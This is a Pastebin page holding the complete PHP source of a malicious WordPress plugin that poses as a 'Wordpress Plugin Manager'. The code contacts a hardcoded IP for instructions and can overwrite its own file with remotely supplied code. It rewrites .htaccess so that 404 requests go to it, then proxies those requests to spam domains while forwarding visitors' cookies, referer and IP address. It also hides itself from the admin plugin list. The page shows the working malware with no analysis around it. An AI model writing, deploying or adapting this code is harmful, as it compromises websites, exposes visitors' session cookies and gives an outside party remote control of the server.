Advertisement
scurit

Fake Wordpress Plugin 404 spam redirect WPPPM

May 22nd, 2014
433
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.20 KB | None | 0 0
  1. <?php
  2. /*
  3. Plugin Name: Wordpress Plugin Manager
  4. */
  5.  
  6. function fourofour()
  7. {
  8.     srand(1339142796);
  9.    
  10.     $tourl = 300;
  11.     $tofile = 3600;
  12.     $ver = 4;
  13.     $u = "http://83.133.123.174/v.html?v=$ver&h=" . urlencode($_SERVER['HTTP_HOST']);
  14.  
  15.     @error_reporting(error_reporting()&~E_NOTICE);
  16.  
  17.     $cachedir = dirname(__FILE__) . "/.k";
  18.     @mkdir($cachedir);
  19.  
  20.     $fn = $cachedir . "/" . md5(rand()*rand()*rand()*rand()+rand());
  21.     $d = @file_get_contents($fn);
  22.     if(!$d || !($s=@stat($fn)) || $s["mtime"]<time()-$tourl)
  23.     {
  24.         if($d = @file_get_contents($u))
  25.         {
  26.             // update
  27.             if(preg_match('#^u:(.*)\s*$#s', $d, $m))
  28.             {
  29.                 @file_put_contents(__FILE__, $m[1]);
  30.                 header("Location: $_SERVER[REQUEST_URI]"); // reload
  31.                 exit;
  32.             }
  33.             @file_put_contents($fn, $d);
  34.         }
  35.     }
  36.     if($d)
  37.     {
  38.         $d = preg_split("/\r?\n/s", trim($d));
  39.         srand((int)(microtime(true)*1000));
  40.         shuffle($d);
  41.         $d = array_pop($d);
  42.         $d = sprintf($d, $t);
  43.         $d = "http://$d";
  44.  
  45.         $selfdir = str_replace('\\', '/', dirname($_SERVER["SCRIPT_NAME"]));
  46.         $path = preg_replace("#^" . $selfdir . "/#i", "", $_SERVER["REQUEST_URI"]);
  47.         $path = preg_replace("#^/(wordpress)#", "", $path);
  48.         $url = $d . $path;
  49.         if($_SERVER["QUERY_STRING"])
  50.         {
  51.             $cachedir = 0;
  52.             $url .= "?" . $_SERVER["QUERY_STRING"];
  53.         }
  54.  
  55.         $cacheObj = false;
  56.         $cachefn = $cachedir . "/" . md5(strtolower($path) . $ver);
  57.         if($cachedir && ($s=@stat($fn)) && $s["mtime"]<time()-$tofile)
  58.         {
  59.             $cacheObj = @unserialize(@file_get_contents($cachefn));
  60.             if($cacheObj)
  61.             {
  62.                 $content = $cacheObj->content;
  63.                 if($cacheObj->contentType)
  64.                     header("Content-Type: $cacheObj->contentType");
  65.             }
  66.         }
  67.  
  68.         if(!$cacheObj)
  69.         {
  70.             $ctx = stream_context_create(array(
  71.                 "http"=>array(
  72.                     "method"=>"GET",
  73.                     "follow_location"=>0,
  74.                     "ignore_errors"=>1,
  75.                     "user_agent"=>$_SERVER["HTTP_USER_AGENT"] . "\r\nCookie: $_SERVER[HTTP_COOKIE]\r\n" . "Referer: $_SERVER[HTTP_REFERER]\r\n" . "X-Forwarded-For: $_SERVER[REMOTE_ADDR]",
  76.             )));
  77.  
  78.             $content = @file_get_contents($url, false, $ctx);
  79.  
  80.             $cacheObj = new stdClass();
  81.             $cacheObj->status = array_shift($http_response_header);
  82.             foreach($http_response_header as $x)
  83.             {
  84.                 list($n,$v)=explode(":", $x);
  85.                 switch(strtolower($n))
  86.                 {
  87.                 case "content-type":
  88.                     $cacheObj->contentType = $v;
  89.                 case "content-length":
  90.                 case "set-cookie":
  91.                     header($x);
  92.                     break;
  93.                 case "location":
  94.                     header($x);
  95.                     print $content;
  96.                     exit;
  97.                 case "no-cache":
  98.                     $cachedir = 0;
  99.                     break;
  100.                 }
  101.             }
  102.  
  103.             if(substr($content, -2)=="c0")
  104.             {
  105.                 $cachedir = 0;
  106.                 $content = substr($content, 0, -2);
  107.             }
  108.  
  109.             if($cachedir)
  110.             {
  111.                 @mkdir($cachedir);
  112.                 $cacheObj->content = $content;
  113.                 @file_put_contents($cachefn, serialize($cacheObj));
  114.             }
  115.         }
  116.  
  117.         header("HTTP/1.1 200 OK");
  118.         header("Status: 200 OK");
  119.         print $content;
  120.         exit;
  121.     }
  122. }
  123.  
  124. function fourofour_pp($plugins)
  125. {
  126.     foreach($plugins as $fn=>$p)
  127.         if(basename($fn)==basename(__FILE__))
  128.             unset($plugins[$fn]);
  129.     return $plugins;
  130. }
  131.  
  132.  
  133. function fourofour_i()
  134. {
  135.     $rparts = preg_split('#[/\\\\]#', preg_replace('#/+$#', '', $_SERVER['DOCUMENT_ROOT']));
  136.     $parts = preg_split('#[/\\\\]#', dirname(__FILE__));
  137.  
  138.     $rel = array();
  139.     $sdir = "";
  140.     for($i=0; count($parts)>=count($rparts); $i++)
  141.     {
  142.         $dir = join($parts, "/");
  143.    
  144.         if(@file_exists("$dir/wp-settings.php"))
  145.         {
  146.             while(count($parts)>count($rparts))
  147.                 array_unshift($rel, array_pop($parts));
  148.             $sdir = join("/", $rel);
  149.             break;
  150.         }
  151.  
  152.         $dir = $sdir = "";
  153.         array_unshift($rel, array_pop($parts));
  154.     }
  155.  
  156.     if($sdir)
  157.     {
  158.         $hta = trim(@file_get_contents("$dir/.htaccess"));
  159.         if(!preg_match('#BEGIN\s*WordPress.*RewriteRule.*END#si', $hta) && !strpos($hta, basename(__FILE__)))
  160.         {
  161.             $ed = "\nErrorDocument 404 /$sdir/" . basename(__FILE__) . "\n";
  162.             $hta = preg_replace('#(BEGIN\s*WordPress)#si', "\\1$ed", $hta);
  163.             if(!strpos($hta, basename(__FILE__)))
  164.                 $hta .= "$ed";
  165.             @file_put_contents("$dir/.htaccess", $hta);
  166.         }
  167.     }
  168. }
  169. fourofour_i();
  170.  
  171.  
  172. if(function_exists("add_action"))
  173. {
  174.     add_action("404_template", "fourofour");
  175. }
  176. else
  177. {
  178.     fourofour();
  179. }
  180.  
  181. if(function_exists("add_filter"))
  182.     add_filter("all_plugins", "fourofour_pp");
  183.  
  184. return 1;
  185.  
  186. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement